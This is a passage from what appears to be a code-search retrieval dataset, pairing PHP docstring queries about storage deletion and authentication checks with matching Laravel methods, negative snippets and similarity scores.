auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { education::where('id',$id)->delete(); return redirect()->back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
the method that verifies that it is authenticated
public function isAuthenticated() { //get headers from postMan $this->headers = getallheaders(); //cut the first word from the header, ex:Bearer, the space before and after the token $token = !empty($this->headers['Authorization']) ? trim(substr($this->headers['Authorization'], 6)) : null; //request in the database to take the token $tokenDataBase = $this->authToken->getToken(); //the token in the header must exist and be the same as in the base date in order to make the request if (!$token || $token !== $tokenDataBase) { http_response_code(401); echo json_encode(array("message" => "Unauthorized")); exit; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isAuthenticated();", "public function isAuthenticated();", "public function isAuthenticated();", "public function isAuthenticated();", "public function isAuthenticatedSuccessfully(): bool;", "public function checkAuthentication() {}", "public function isAuthenticated() {\n\t}", "public function isAuthenticated(): bool;", "public function isAuthenticated(): bool;", "public function isAuthenticated()\r\n {\r\n return true; \r\n }", "public function checkAuth();", "public function checkAuth();", "public function isAuthenticated() : bool;", "private function _isAuthenticated()\n\t{\n\t\treturn true;\n\t}", "private function _checkAuth()\n {\n // check login or not\n if (!$this->getUser()->isAuthenticated()) {\n $this->redirect('login');\n }\n }", "public function isAuthenticated(): bool {\n return true;\n }", "public static function check()\n {\n return (new Authenticator(request()))->isAuthenticated();\n }", "public function isAuth() {}", "public function isAuthenticated() {return $this->isauthenticated;}", "public function isAuth();", "function is_authenticated()\n{\n global $app;\n return (is_object($app->auth) && $app->auth->isValid());\n}", "public function isUserAuthenticated () : bool {\n return $this->mainController->isUserAuthenticated();\n }", "function verifyAuth()\n\t{\n\t\tsanitizeRequest($_POST);\n\t\tsanitizeRequest($_GET);\n\t\t\n\t\t$currentUser = UserService::getInstance()->getCurrentUser();\n\t\tif (!$currentUser || !$currentUser->getSessionId()) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t$payload = JWT::decode($currentUser->getSessionId(), SERVER_KEY, array('HS256'));\n\t\t\t$sessionId = UserService::getInstance()->getSessionId($currentUser->getId());\n\t\t\tif ($sessionId === $currentUser->getSessionId() &&\n\t\t\t\t\t$currentUser->getId() === $payload->id &&\n\t\t\t\t\t$currentUser->getEmail() === $payload->email) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\tif ($currentUser->isRemember() && $e->getMessage() === 'Expired token') {\n\t\t\t\t$currentUser->extendSession();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\treturn false;\n\t}", "public function isAuthenticated(): bool {\n return $this->check('id');\n }", "public function isAuthenticated(){\n return $this->authenticated;\n }", "public function isAuthenticated()\n {\n return $this->getUser() !== null;\n }", "protected function authRequired()\n {\n return true;\n }", "public function authenticate() {}", "public function authenticate();", "public function authenticate();", "public function authenticate();", "public function isAuthenticated(){\n return $_SESSION['loggedIn'];\n }", "public function authorize()\n {\n return $this->container['auth']->check();\n }", "function auth(){\n\t\t//TODO auth implementieren\n\t\treturn true;\n\t}", "public function testAuthenticationServiceIsAuthenticated()\n {\n $response = self::$av->isAuthenticated(self::$accessToken);\n self::assertFalse($response->hasError);\n self::assertEquals(\"OK\", $response->reply->getStatusMessage());\n }", "public function isAuthenticated()\n {\n return $this->authenticated;\n }", "public function doVerification() {\n $this->validate ( $this->request, $this->getRules () );\n $user = $this->_user->where ( StringLiterals::EMAIL, $this->decodeParam ( $this->request->user ) )->where ( 'otp', $this->request->otp )->first ();\n if (count ( $user ) > 0) {\n Auth::loginUsingId ( $user->id );\n return true;\n } else {\n return false;\n }\n }", "public function authenticated(){\n if(isset($_SESSION['user'])){\n if($this->load($_SESSION['user']) == false){\n header('Location: /logout.php');\n die;\n }\n return true;\n }\n return false;\n }", "abstract protected function auth();", "public function authorize(): bool\n {\n return \\Auth::check();\n }", "public function IsAuthenticated()\n {\n $acronym = isset($_SESSION['user']) ? $_SESSION['user']->acronym : null;\n\n if($acronym) \n {\n $this->IsAuthenticated = true;\n }\n else \n {\n $this->IsAuthenticated = false;\n }\n \n return $this->IsAuthenticated;\n }", "public function isAuthenticated(): bool\n {\n return getApp()->security()->isAuthenticated();\n }", "public function authorize(): bool\n {\n return Auth::check();\n }", "public function authorize(): bool\n {\n return Auth::check();\n }", "public function isAuthenticated(): bool\n {\n return null !== $this->getUser();\n }", "function authenticate() {}", "public function isAuthenticated()\n {\n return $this->getAuth()->hasIdentity();\n }", "public function isAuthenticated()\n {\n return ($this->getAccessToken()) ? true : false;\n }", "public function testAuthenticated()\n {\n $this->assertFalse($this->auth->authenticate(new ServerRequest(), $this->response));\n }", "public function authenticate() {\n }", "public function doAuthentication();", "public function authorize()\n {\n return $this->auth->check();\n }", "public function isAuthenticated()\r\n {\r\n if (!isset($_SESSION[\"ed\"])) {\r\n echo '<meta http-equiv=\"refresh\" content=\"0; url=' . (new CodeFlirt\\Handlers)->path(\"login\") . '\">';\r\n exit(0);\r\n }\r\n }", "function authenticateUser() {\n\t\tif(!isset($_SESSION[\"authenticated\"])) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\telse{\n\t\t\t//checking session variable has info \n\t\t\tif($_SESSION[\"authenticated\"] != true){\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\n\t}", "public function isAuth() {\n $connector = Mage::getSingleton('vidtest/connector')->getApiModel($this->getApiModelCode());\n return $connector->isLoggedIn();\n }", "private function checkUserAuthenticated () {\n if 